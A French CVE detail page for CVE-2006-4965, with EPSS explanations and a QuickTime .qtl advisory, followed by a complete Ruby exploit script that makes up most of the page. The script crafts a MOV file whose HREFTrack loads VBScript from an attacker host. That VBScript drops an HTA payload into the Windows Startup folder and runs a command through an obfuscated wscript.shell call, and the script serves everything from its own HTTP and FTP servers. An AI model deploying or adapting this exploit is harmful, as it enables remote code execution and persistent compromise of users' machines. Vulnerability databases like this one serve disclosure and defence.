CVE-2006-4965 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

source: https://www.securityfocus.com/bid/20138/info Apple QuickTime plug-in is prone to an arbitrary-script-execution weakness when executing QuickTime Media Link files (.qtl). An attacker can exploit this issue to execute arbitrary script code in the context of the affected application and load local content in a user's browser. Although this weakness doesn't pose any direct security threat by itself, an attacker may use it to aid in further attacks. QuickTime 7.1.3 is vulnerable; other versions may also be affected. #!/usr/bin/ruby # # (c) 2006 LMH <lmh [at] info-pull.com> # Original scripting and POC by Aviv Raff (http://aviv.raffon.net). # # Description: # Exploit for MOAB-03-01-2007. If argument 'serve' is passed, it uses port 21 for running the # fake FTP server (required). HTTP server port can be modified but it's # not recommended. Adjust as necessary. # # see http://projects.info-pull.com/moab/MOAB-03-01-2007.html require 'socket' require 'fileutils' require 'webrick' trap 0, proc { puts "-- Terminating: #{$$}" } REMOTE_HOST = "192.168.1.133" # Modify to match IP address or hostname REMOTE_URL = "http://#{REMOTE_HOST}/" # Modify to match target path (ex. /mypath) TARGET_SCRIPT = "on error resume next\r\n" + "Set c = CreateObject(\"ADODB.Connection\")\r\n" + "co = \"Driver={Microsoft Text Driver (*.txt; *.csv)};Dbq=#{REMOTE_URL};Extensions=txt;\"\r\n" + "c.Open co\r\n" + "set rs =CreateObject(\"ADODB.Recordset\")\r\n" + "rs.Open \"SELECT * from qtpoc.txt\", c\r\n" + "rs.Save \"C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\poc.hta\", adPersistXML\r\n" + "rs.close\r\n" + "c.close\r\n" + "window.close\r\n" HTA_PAYLOAD = "<script>q='%77%73%63%72%69%70';</script>\r\n" + "<script>q+='%74%2E%73%68%65%6C%6C';</script>\r\n" + "<script>a=new ActiveXObject(unescape(q));</script>\r\n" + "<script>a.run('%windir%\\\\System32\\\\calc.exe');</script>\r\n" + # executes calc.exe "<script>window.close();</script>\r\n" HREFTRACK_COD = "A<res://mmcndmgr.dll/prevsym12.htm#%29%3B%3C/style%3E%3Cscript src=\"#{REMOTE_URL}q.vbs\" " + "language=\"vbscript\"%3E%3C/script%3E%3C%21--//|> T<>" TARGET_DIRECTORY = "served" # # ---- Real fun starts here ---- # puts "++ Preparing files..." # # Prepare the MOV file with the HREFTrack pointing at our script. # original_mov = File.read("qtpoc.mov") # Prepare directory structure FileUtils::mkdir(TARGET_DIRECTORY) puts "++ MOV file...." # Write the new MOV file f = File.new(File.join(TARGET_DIRECTORY, "qtpoc.mov"), "w") f.write(original_mov) f.close puts "++ Script file...." # Write the script file f = File.new(File.join(TARGET_DIRECTORY, "q.vbs"), "w") f.print(TARGET_SCRIPT) f.close puts "++ HTA payload file...." # Write the new HTA file (payload) f = File.new(File.join(TARGET_DIRECTORY, "qtpoc.txt"), "w") f.print(HTA_PAYLOAD) f.close # # win32 doesn't like fork ;-) # if ARGV[0] == "serve" # HTTP server... via Webrick puts "++ Done. Starting HTTP server..." web_server = WEBrick::HTTPServer.new(:Port => 80, :DocumentRoot =>TARGET_DIRECTORY) fork do begin web_server.start rescue exit end end # FTP server.... puts "++ Done. Starting FTP server..." begin ftp_server = TCPServer.new('localhost', 21) rescue web_server.shutdown exit end # 220 Microsoft FTP Service # USER anonymous # 331 Anonymous access allowed, send identity (e-mail name) as password. # PASS IEUser@ # 230 Anonymous user logged in. # (...) while (ftp_session = ftp_server.accept) puts "++ FTP: #{ftp_session.gets}" # TODO: implement fake responses just to satisfy it. ftp_session.close end # finished web_server.shutdown end